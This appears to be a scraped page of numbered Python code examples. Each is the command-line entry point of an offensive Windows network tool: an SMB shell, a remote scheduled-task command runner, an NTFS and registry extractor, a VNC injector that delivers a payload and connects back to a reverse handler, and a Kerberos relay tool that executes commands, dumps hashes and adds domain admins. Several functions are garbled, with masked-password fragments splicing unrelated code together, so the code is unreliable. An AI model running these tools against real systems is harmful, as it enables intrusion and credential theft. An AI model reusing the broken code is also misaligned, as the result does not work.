Beispiel #1
0
def main():
    print(version.BANNER)
    # Init the example's logger theme
    logger.init()

    parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
                                                                    "catalog, pages and tables.")
    parser.add_argument('databaseFile', action='store', help='ESE to open')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-page', action='store', help='page to open')

    subparsers = parser.add_subparsers(help='actions', dest='action')

    # dump page
    dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
    dump_parser.add_argument('-page', action='store', required=True, help='page to dump')

    # info page
    subparsers.add_parser('info', help='dumps the catalog info for the DB')

    # export page
    export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
    export_parser.add_argument('-table', action='store', required=True, help='table to dump')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    ese = ESENT_DB(options.databaseFile)

    try:
        if options.action.upper() == 'INFO':
            ese.printCatalog()
        elif options.action.upper() == 'DUMP':
            dumpPage(ese, int(options.page))
        elif options.action.upper() == 'EXPORT':
            exportTable(ese, options.table)
        else:
            raise Exception('Unknown action %s ' % options.action)
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        print(e)
    ese.close()
def main():
    # Init the example's logger theme
    logger.init()
    print version.BANNER

    parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")

    parser.add_argument('hive', action='store', help='registry hive to open')
    subparsers = parser.add_subparsers(help='actions', dest='action')
    # A enum_key command
    enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
    enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
    enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')

    # A enum_values command
    enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
    enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')

    # A get_value command
    getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
    getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')

    # A get_class command
    getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
    getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')

    # A walk command
    walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
    walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    reg = winregistry.Registry(options.hive)

    if options.action.upper() == 'ENUM_KEY':
        print "[%s]" % options.name
        enumKey(reg, options.name, options.recursive)
    elif options.action.upper() == 'ENUM_VALUES':
        enumValues(reg, options.name)
    elif options.action.upper() == 'GET_VALUE':
        getValue(reg, options.name)
    elif options.action.upper() == 'GET_CLASS':
        getClass(reg, options.name)
    elif options.action.upper() == 'WALK':
        walk(reg, options.name)

    reg.close()
def main():
    print version.BANNER
    # Init the example's logger theme
    logger.init()
    parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)")
    parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)')
    parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \windows\system32\config\sam)')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    shell = MiniShell(options.volume)
    if options.extract is not None:
        shell.onecmd("get %s"% options.extract)
    else:
        shell.cmdloop()
Beispiel #4
0
def main():
    tempdir = None
    logger.init()

    parser = argparse.ArgumentParser(add_help = True, description = "Inject VNC agent into active console session. Payload is delivered via SMB or HTTP.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-share', action='store', default = None, help='share where vnc batch file will be upload '
                                                                           '(default - check for available writable shares )')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    vnc_group = parser.add_argument_group('vnc')
    vnc_group.add_argument('-invoke-vnc-path', dest='invoke_vnc_path', default='Invoke-Vnc.ps1', action='store', help="Invoke-Vnc.ps1 filepath")
    vnc_group.add_argument('-bc-ip', dest='bc_ip', required=False, action='store', help="IP with reverse VNC handler")
    vnc_group.add_argument('-contype', dest='contype', required=True, action='store', help="Connection type. Either bind or reverse")
    vnc_group.add_argument('-vncport', dest='vncport', required=True, action='store', help="Port for reverse/bind VNC connection")
    vnc_group.add_argument('-vncpass', dest='vncpass', required=True, action='store', help="VNC password")
    vnc_group.add_argument('-method', dest='method', required=False, default='upload', action='store', help="Payload delivery method. Either 'upload' or 'download'")
    vnc_group.add_argument('-httpport', dest='httpport', required=False, default='80', action='store', help="HTTP server port to download payload from")

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
                       'ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                       'ommited it use the domain part (FQDN) specified in the target parameter')
    group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. ")


    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()

    
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re

    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    try:
        if options.A is not None:
            (domain, username, password) = load_smbclient_auth_file(options.A)
            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
        
        if domain is None:
            domain = ''

        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
            from getpass import getpass
            password = getpass("Password:"******"/Invoke-Vnc.ps1", 'wb') as f:
                f.write(open(options.invoke_vnc_path, 'rb').read())
                f.close()
            os.chdir(tempdir)
            Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

            httpd = SocketServer.TCPServer(("", PORT), Handler)


            logging.info("Serving payload at HTTP port " + str(PORT))
            httpthread = threading.Thread(target=httpd.serve_forever)
            httpthread.daemon = True
            httpthread.start()
        elif options.method == 'upload':
            pass
        else:
            logging.critical("Unknown delivery method specified")
            sys.exit(1)


        executer = VNCEXEC(username, password, domain, options.hashes, options.aesKey,
                           options.share, options.k, options.dc_ip)
        executer.run(address, options.method, options.bc_ip, options.contype, options.vncpass, options.vncport, options.invoke_vnc_path, options.httpport)


    except (Exception, KeyboardInterrupt), e:
        #import traceback
        #print traceback.print_exc()
        logging.error(str(e))
        os.unlink(tempdir + '/' + 'Invoke-Vnc.ps1')
        os.rmdir(tempdir)
        if options.method=='download' and tempdir is not None:
            delete_temp_file(tempdir, tempdir + '/' + 'Invoke-Vnc.ps1')
Beispiel #5
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-f','--command-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity (can be stacked)')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        logging.basicConfig(level=logging.DEBUG)

    print(args)

    
    creds = SMBCredential.from_args(args)
    print(str(creds))
    target = SMBTarget.from_args(args)
    print(str(target))
    print(repr(target.get_hostname()))
    print(target.get_addr()[0])

    try:
        smb_client = SMBConnection(target, sess_port=target.port)
        smb_client.login(creds)

        shell = MiniImpacketShell(smb_client)

        if args.command_file is not None:
            logging.info("Executing commands from %s" % args.command_file.name)
            for line in args.command_file.readlines():
                if line[0] != '#':
                    print("# %s" % line,
                    shell.onecmd(line))
                else:
                    print (line,)
        else:
            shell.cmdloop()
    except Exception as e:
        logging.exception('Exception in main')
Beispiel #6
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''
    
    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        logging.debug("Exception:", exc_info=True)
        logging.error(str(e))
Beispiel #7
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Beispiel #8
0
def main():
    global CODEC
    print(version.BANNER)

    parser = argparse.ArgumentParser()

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('port', action='store', type=int, help='TSCH RPC endpoint port number (usually 49154)')
    parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ')
    
    parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)')
    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default "%s"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec ' % CODEC)
    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
    group.add_argument('-dc-ip', action='store',metavar="ip address",  help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)

    if options.codec is not None:
        CODEC = options.codec
    else:
        if CODEC is None:
            CODEC = 'utf-8'

    logging.warning("This will work ONLY on Windows >= Vista")

    if ''.join(options.command) == ' ':
        logging.error('You need to specify a command to execute!')
        sys.exit(1)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re

    domain, username, password, address = re.compile('(?:(?:([^\/@:]*)\/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]
    
    if options.port <= 0 or options.port >= 65536:
        logging.error("Invalid port number: %i" % (options.port))
        return
    
    if domain is None:
        domain = ''

    if options.keytab is not None:
        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
        options.k = True

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass

        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True
    
    atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, ' '.join(options.command), options.session_id)
    atsvc_exec.play(address, options.port)
Beispiel #9
0
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')
    group.add_argument('-keytab',
                       action="store",
                       help='Read keys for SPN from keytab file')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)

    if options.codec is not None:
        CODEC = options.codec
    else:
        if CODEC is None:
            CODEC = 'utf-8'

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
Beispiel #10
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password, address = parse_target(options.target)

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''
    
    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        logging.debug("Exception:", exc_info=True)
        logging.error(str(e))
Beispiel #11
0
def main():
    print version.BANNER
    # Init the example's logger theme
    logger.init()

    parser = argparse.ArgumentParser(
        add_help=True,
        description="Extensive Storage Engine utility. Allows dumping "
        "catalog, pages and tables.")
    parser.add_argument('databaseFile', action='store', help='ESE to open')
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')
    parser.add_argument('-page', action='store', help='page to open')

    subparsers = parser.add_subparsers(help='actions', dest='action')

    # dump page
    dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
    dump_parser.add_argument('-page',
                             action='store',
                             required=True,
                             help='page to dump')

    # info page
    subparsers.add_parser('info', help='dumps the catalog info for the DB')

    # export page
    export_parser = subparsers.add_parser(
        'export', help='dumps the catalog info for the DB')
    export_parser.add_argument('-table',
                               action='store',
                               required=True,
                               help='table to dump')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    ese = ESENT_DB(options.databaseFile)

    try:
        if options.action.upper() == 'INFO':
            ese.printCatalog()
        elif options.action.upper() == 'DUMP':
            dumpPage(ese, int(options.page))
        elif options.action.upper() == 'EXPORT':
            exportTable(ese, options.table)
        else:
            logging.error('Unknown action %s ' % options.action)
            raise
    except Exception, e:
        #import traceback
        #print traceback.print_exc()
        print e
Beispiel #12
0
def main(args):
    # Init the example's logger theme
    logger.init()
    if len(args) != 2:
        print "usage: ./ifmap.py <host> <port>"
        return 1

    host = args[0]
    port = int(args[1])

    stringbinding = "ncacn_ip_tcp:%s" % host
    trans = transport.DCERPCTransportFactory(stringbinding)
    trans.set_dport(port)

    dce = trans.get_dce_rpc()
    dce.connect()

    dce.bind(mgmt.MSRPC_UUID_MGMT)

    ifids = mgmt.hinq_if_ids(dce)

    uuidtups = set(
        uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]
                            ['Data'].getData())
        for index in range(ifids['if_id_vector']['count']))

    dce.disconnect()

    probes = uuidtups | uuid_database

    for tup in sorted(probes):

        dce.connect()

        binuuid = uuid.uuidtup_to_bin(tup)
        try:
            dce.bind(binuuid)
        except rpcrt.DCERPCException, e:
            if str(e).find('abstract_syntax_not_supported') >= 0:
                listening = False
            else:
                raise
        else:
            listening = True

        listed = tup in uuidtups
        otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
        if listed or listening:
            print "%r: %s, %s" % (
                tup, "listed" if listed else
                "other version listed" if otherversion else "not listed",
                "listening" if listening else "not listening")
            if epm.KNOWN_PROTOCOLS.has_key(tup[0]):
                print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])
            else:
                print "Procotol: N/A"

            if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]):
                print "Provider: %s" % (
                    KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])
            else:
                print "Provider: N/A"
Beispiel #13
0
def main():
    def start_servers(options, threads):
        for server in RELAY_SERVERS:
            #Set up config
            c = KrbRelayxConfig()
            c.setProtocolClients(PROTOCOL_CLIENTS)
            c.setTargets(targetSystem)
            c.setExeFile(options.e)
            c.setCommand(options.c)
            c.setEnumLocalAdmins(options.enum_local_admins)
            c.setEncoding(codec)
            c.setMode(mode)
            c.setAttacks(PROTOCOL_ATTACKS)
            c.setLootdir(options.lootdir)
            try:
                c.setLDAPOptions(options.no_dump, options.no_da,
                                 options.no_acl, options.escalate_user)
            except TypeError:
                # Newer version of ntlmrelayx has extra arguments
                c.setLDAPOptions(options.no_dump, options.no_da,
                                 options.no_acl, options.no_validate_privs,
                                 options.escalate_user)
            c.setIPv6(options.ipv6)
            c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
            c.setSMB2Support(not options.no_smb2support)
            c.setInterfaceIp(options.interface_ip)
            if options.krbhexpass and not options.krbpass:
                c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
                                 binascii.unhexlify(options.krbhexpass),
                                 options.krbsalt, True)
            else:
                c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
                                 options.krbpass, options.krbsalt, False)
            c.setKrbOptions(options.format)

            #If the redirect option is set, configure the HTTP server to redirect targets to SMB
            if server is HTTPKrbRelayServer and options.r is not None:
                c.setMode('REDIRECT')
                c.setRedirectHost(options.r)

            s = server(c)
            s.start()
            threads.add(s)
        return c

    # Init the example's logger theme
    logger.init()

    #Parse arguments
    parser = argparse.ArgumentParser(
        add_help=False,
        description=
        "Kerberos \"relay\" tool. Abuses accounts with unconstrained "
        "delegation to pwn things.")
    parser._optionals.title = "Main options"

    #Main arguments
    parser.add_argument("-h",
                        "--help",
                        action="help",
                        help='show this help message and exit')
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')
    parser.add_argument(
        '-t',
        "--target",
        action='store',
        metavar='TARGET',
        help='Target to attack, '
        'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.'
    )
    parser.add_argument('-tf',
                        action='store',
                        metavar='TARGETSFILE',
                        help='File that contains targets by hostname or '
                        'full URL, one per line')
    parser.add_argument(
        '-w',
        action='store_true',
        help='Watch the target file for changes and update target list '
        'automatically (only valid with -tf)')

    # Interface address specification
    parser.add_argument('-ip',
                        '--interface-ip',
                        action='store',
                        metavar='INTERFACE_IP',
                        help='IP address of interface to '
                        'bind SMB and HTTP servers',
                        default='')

    parser.add_argument(
        '-r',
        action='store',
        metavar='SMBSERVER',
        help='Redirect HTTP requests to a file:// path on SMBSERVER')
    parser.add_argument(
        '-l',
        '--lootdir',
        action='store',
        type=str,
        required=False,
        metavar='LOOTDIR',
        default='.',
        help='Loot '
        'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).'
    )
    parser.add_argument(
        '-f',
        '--format',
        default='ccache',
        choices=['ccache', 'kirbi'],
        action='store',
        help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
        ' (Mimikatz format) default: ccache')
    parser.add_argument(
        '-codec',
        action='store',
        help='Sets encoding used (codec) from the target\'s output (default '
        '"%s"). If errors are detected, run chcp.com at the target, '
        'map the result with '
        'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
        'again with -codec and the corresponding codec ' %
        sys.getdefaultencoding())
    parser.add_argument('-no-smb2support',
                        action="store_false",
                        default=False,
                        help='Disable SMB2 Support')

    parser.add_argument(
        '-wh',
        '--wpad-host',
        action='store',
        help='Enable serving a WPAD file for Proxy Authentication attack, '
        'setting the proxy host to the one supplied.')
    parser.add_argument(
        '-wa',
        '--wpad-auth-num',
        action='store',
        help=
        'Prompt for authentication N times for clients without MS16-077 installed '
        'before serving a WPAD file.')
    parser.add_argument('-6',
                        '--ipv6',
                        action='store_true',
                        help='Listen on both IPv6 and IPv4')

    # Authentication arguments
    group = parser.add_argument_group(
        'Kerberos Keys (of your account with unconstrained delegation)')
    group.add_argument('-p',
                       '--krbpass',
                       action="store",
                       metavar="PASSWORD",
                       help='Account password')
    group.add_argument('-hp',
                       '--krbhexpass',
                       action="store",
                       metavar="HEXPASSWORD",
                       help='Hex-encoded password')
    group.add_argument(
        '-s',
        '--krbsalt',
        action="store",
        metavar="USERNAME",
        help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
        'Only required if specifying password instead of keys.')
    group.add_argument('-hashes',
                       action="store",
                       metavar="LMHASH:NTHASH",
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-aesKey',
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')
    group.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help='IP Address of the domain controller. If '
        'ommited it use the domain part (FQDN) specified in the target parameter'
    )

    #SMB arguments
    smboptions = parser.add_argument_group("SMB attack options")

    smboptions.add_argument(
        '-e',
        action='store',
        required=False,
        metavar='FILE',
        help='File to execute on the target system. '
        'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)'
    )
    smboptions.add_argument(
        '-c',
        action='store',
        type=str,
        required=False,
        metavar='COMMAND',
        help='Command to execute on '
        'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
        'directory).')
    smboptions.add_argument(
        '--enum-local-admins',
        action='store_true',
        required=False,
        help=
        'If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)'
    )

    #LDAP options
    ldapoptions = parser.add_argument_group("LDAP attack options")
    ldapoptions.add_argument('--no-dump',
                             action='store_false',
                             required=False,
                             help='Do not attempt to dump LDAP information')
    ldapoptions.add_argument('--no-da',
                             action='store_false',
                             required=False,
                             help='Do not attempt to add a Domain Admin')
    ldapoptions.add_argument('--no-acl',
                             action='store_false',
                             required=False,
                             help='Disable ACL attacks')
    ldapoptions.add_argument(
        '--no-validate-privs',
        action='store_false',
        required=False,
        help=
        'Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks'
    )
    ldapoptions.add_argument(
        '--escalate-user',
        action='store',
        required=False,
        help='Escalate privileges of this user instead of creating a new one')

    try:
        options = parser.parse_args()
    except Exception as e:
        logging.error(str(e))
        sys.exit(1)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)
        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)

    # Let's register the protocol clients we have
    # ToDo: Do this better somehow
    from lib.clients import PROTOCOL_CLIENTS

    if options.codec is not None:
        codec = options.codec
    else:
        codec = sys.getdefaultencoding()

    if options.target is not None:
        logging.info("Running in attack mode to single host")
